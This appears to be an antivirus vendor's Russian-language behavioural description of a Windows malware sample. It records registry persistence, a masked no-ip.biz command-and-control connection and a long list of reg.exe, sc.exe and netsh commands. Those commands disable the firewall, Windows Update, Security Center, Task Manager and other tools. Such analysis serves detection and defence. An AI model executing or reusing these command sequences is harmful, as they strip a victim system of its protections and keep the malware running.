Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'update' = '%WINDIR%\system\update.scr'
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
- Обновления системы (Windows Update)
- Центр обеспечения безопасности (Security Center)
изменяет следующие системные настройки:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\system\update
- %WINDIR%\system\reload.bat
Перемещает следующие файлы
- %WINDIR%\system\update в %WINDIR%\system\update.scr
Подменяет следующие файлы
- %HOMEPATH%\ntuser.pol
- %PROGRAMDATA%\ntuser.pol
Сетевая активность
Подключается к
- 'dr####a1.no-ip.biz':1234
UDP
- DNS ASK dr####a1.no-ip.biz
Другое
Ищет следующие окна
- ClassName: 'Tapplication' WindowName: 'ULTIMOS DIAS'
Создает и запускает на исполнение
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v update /t reg_sz /d %WINDIR%\system\update.scr /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 0x00000001 /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 0x00000001 /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t reg_dword /d 0x00000001 /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t reg_sz /d msconfig.exe /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t reg_sz /d taskkill.exe /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d cmd.exe /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 4 /t reg_sz /d command.exe /f' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d ComboFix.exe /f' (со скрытым окном)
- '%WINDIR%\syswow64\gpupdate.exe' /force /wait:100' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k sc config wscsvc start= disabled&sc stop wscsvc&netsh firewall set opmode disable&sc config SharedAccess start= disabled&sc stop SharedAccess&sc config wuauserv start= disabled&sc stop wuaus...' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Taskmgr /t reg_sz /d %WINDIR%\system\reload.bat /f' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v update /t reg_sz /d %WINDIR%\system\update.scr /f
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled
- '%WINDIR%\syswow64\sc.exe' stop SharedAccess
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\syswow64\sc.exe' config SharedAccess start= disabled
- '%WINDIR%\syswow64\sc.exe' stop wscsvc
- '%WINDIR%\syswow64\sc.exe' config wscsvc start= disabled
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Taskmgr /t reg_sz /d %WINDIR%\system\reload.bat /f
- '%WINDIR%\syswow64\cmd.exe' /k sc config wscsvc start= disabled&sc stop wscsvc&netsh firewall set opmode disable&sc config SharedAccess start= disabled&sc stop SharedAccess&sc config wuauserv start= disabled&sc stop wuaus...
- '%WINDIR%\syswow64\gpupdate.exe' /force /wait:100
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d ComboFix.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 4 /t reg_sz /d command.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d cmd.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t reg_sz /d taskkill.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t reg_sz /d msconfig.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t reg_dword /d 0x00000001 /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 0x00000001 /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 0x00000001 /f
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '<SYSTEM32>\raserver.exe' /offerraupdate
